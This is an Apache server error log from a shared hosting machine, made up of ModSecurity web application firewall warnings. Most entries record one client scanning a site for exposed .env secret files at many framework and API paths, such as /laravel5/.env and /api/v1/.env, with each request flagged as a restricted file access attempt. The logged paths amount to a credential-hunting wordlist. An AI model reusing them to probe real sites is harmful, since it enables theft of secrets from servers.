[Fri Jul 17 09:26:04.730436 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/yii/.env"] [unique_id "almn1A5GPQ6hs4VrfMpHmgAAAAY"]
[Fri Jul 17 09:26:04.920802 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel5/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/laravel5/.env"] [unique_id "almn1CRF0UOO1RzB5_8zpAAAAA4"]
[Fri Jul 17 09:26:04.921124 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/laravel5/.env"] [unique_id "almn1CRF0UOO1RzB5_8zpAAAAA4"]
[Fri Jul 17 09:26:04.921544 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/laravel5/.env"] [unique_id "almn1CRF0UOO1RzB5_8zpAAAAA4"]
[Fri Jul 17 09:26:05.035448 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:05.060479 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:37992] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:05.085890 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/v1/.env"] [unique_id "almn1bEKozcCJ-ReuK0IbgAAAAg"]
[Fri Jul 17 09:26:05.086207 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/v1/.env"] [unique_id "almn1bEKozcCJ-ReuK0IbgAAAAg"]
[Fri Jul 17 09:26:05.086641 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/v1/.env"] [unique_id "almn1bEKozcCJ-ReuK0IbgAAAAg"]
[Fri Jul 17 09:26:05.144981 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:05.165995 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:38014] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:05.252367 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/v2/.env"] [unique_id "almn1bEWOaI5pmYo9fnUPAAAAAA"]
[Fri Jul 17 09:26:05.252692 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/v2/.env"] [unique_id "almn1bEWOaI5pmYo9fnUPAAAAAA"]
[Fri Jul 17 09:26:05.253105 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/v2/.env"] [unique_id "almn1bEWOaI5pmYo9fnUPAAAAAA"]
[Fri Jul 17 09:26:05.422172 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v3/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/v3/.env"] [unique_id "almn1VCBpfuYyhJ140vYIgAAAB4"]
[Fri Jul 17 09:26:05.422487 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/v3/.env"] [unique_id "almn1VCBpfuYyhJ140vYIgAAAB4"]
[Fri Jul 17 09:26:05.422909 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/v3/.env"] [unique_id "almn1VCBpfuYyhJ140vYIgAAAB4"]
[Fri Jul 17 09:26:05.589201 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/api/v1/.env"] [unique_id "almn1SRF0UOO1RzB5_8zpwAAAA4"]
[Fri Jul 17 09:26:05.589451 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/api/v1/.env"] [unique_id "almn1SRF0UOO1RzB5_8zpwAAAA4"]
[Fri Jul 17 09:26:05.589842 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/api/v1/.env"] [unique_id "almn1SRF0UOO1RzB5_8zpwAAAA4"]
[Fri Jul 17 09:26:05.652489 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:05.753918 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/api/v2/.env"] [unique_id "almn1Y-0g_VSPeIeFN3F5QAAAAs"]
[Fri Jul 17 09:26:05.754271 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/api/v2/.env"] [unique_id "almn1Y-0g_VSPeIeFN3F5QAAAAs"]
[Fri Jul 17 09:26:05.754696 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/api/v2/.env"] [unique_id "almn1Y-0g_VSPeIeFN3F5QAAAAs"]
[Fri Jul 17 09:26:05.807782 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners/brother-printers-and-scanners"] [unique_id "almn1VCBpfuYyhJ140vYJAAAAB4"]
[Fri Jul 17 09:26:05.807876 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/printers-scanners/brother-printers-and-scanners"] [unique_id "almn1VCBpfuYyhJ140vYJAAAAB4"]
[Fri Jul 17 09:26:05.808256 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/printers-scanners/brother-printers-and-scanners"] [unique_id "almn1VCBpfuYyhJ140vYJAAAAB4"]
[Fri Jul 17 09:26:05.916158 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /rest/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/rest/.env"] [unique_id "almn1Q5GPQ6hs4VrfMpHnAAAAAY"]
[Fri Jul 17 09:26:05.916415 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/rest/.env"] [unique_id "almn1Q5GPQ6hs4VrfMpHnAAAAAY"]
[Fri Jul 17 09:26:05.916794 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/rest/.env"] [unique_id "almn1Q5GPQ6hs4VrfMpHnAAAAAY"]
[Fri Jul 17 09:26:05.917309 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylonpa-global": Permission denied [hostname "ceylonparampara.lk"] [uri "/rest/.env"] [unique_id "almn1Q5GPQ6hs4VrfMpHnAAAAAY"]
[Fri Jul 17 09:26:05.917433 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylonpa-ip": Permission denied [hostname "ceylonparampara.lk"] [uri "/rest/.env"] [unique_id "almn1Q5GPQ6hs4VrfMpHnAAAAAY"]
[Fri Jul 17 09:26:06.070854 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /graphql/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/graphql/.env"] [unique_id "almn1iRF0UOO1RzB5_8zqQAAAA4"]
[Fri Jul 17 09:26:06.071267 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/graphql/.env"] [unique_id "almn1iRF0UOO1RzB5_8zqQAAAA4"]
[Fri Jul 17 09:26:06.071842 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/graphql/.env"] [unique_id "almn1iRF0UOO1RzB5_8zqQAAAA4"]
[Fri Jul 17 09:26:06.095147 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almn1rEWOaI5pmYo9fnUQAAAAAA"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:26:06.095178 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almn1rEWOaI5pmYo9fnUQAAAAAA"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:26:06.262121 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /gateway/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/gateway/.env"] [unique_id "almn1o-0g_VSPeIeFN3F5wAAAAs"]
[Fri Jul 17 09:26:06.262364 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/gateway/.env"] [unique_id "almn1o-0g_VSPeIeFN3F5wAAAAs"]
[Fri Jul 17 09:26:06.262702 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/gateway/.env"] [unique_id "almn1o-0g_VSPeIeFN3F5wAAAAs"]
[Fri Jul 17 09:26:06.386027 2026] [security2:error] [pid 2018768:tid 2018768] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almn1VCBpfuYyhJ140vYJAAAAB4"]
[Fri Jul 17 09:26:06.416542 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /microservice/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/microservice/.env"] [unique_id "almn1g5GPQ6hs4VrfMpHngAAAAY"]
[Fri Jul 17 09:26:06.416811 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/microservice/.env"] [unique_id "almn1g5GPQ6hs4VrfMpHngAAAAY"]
[Fri Jul 17 09:26:06.417224 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/microservice/.env"] [unique_id "almn1g5GPQ6hs4VrfMpHngAAAAY"]
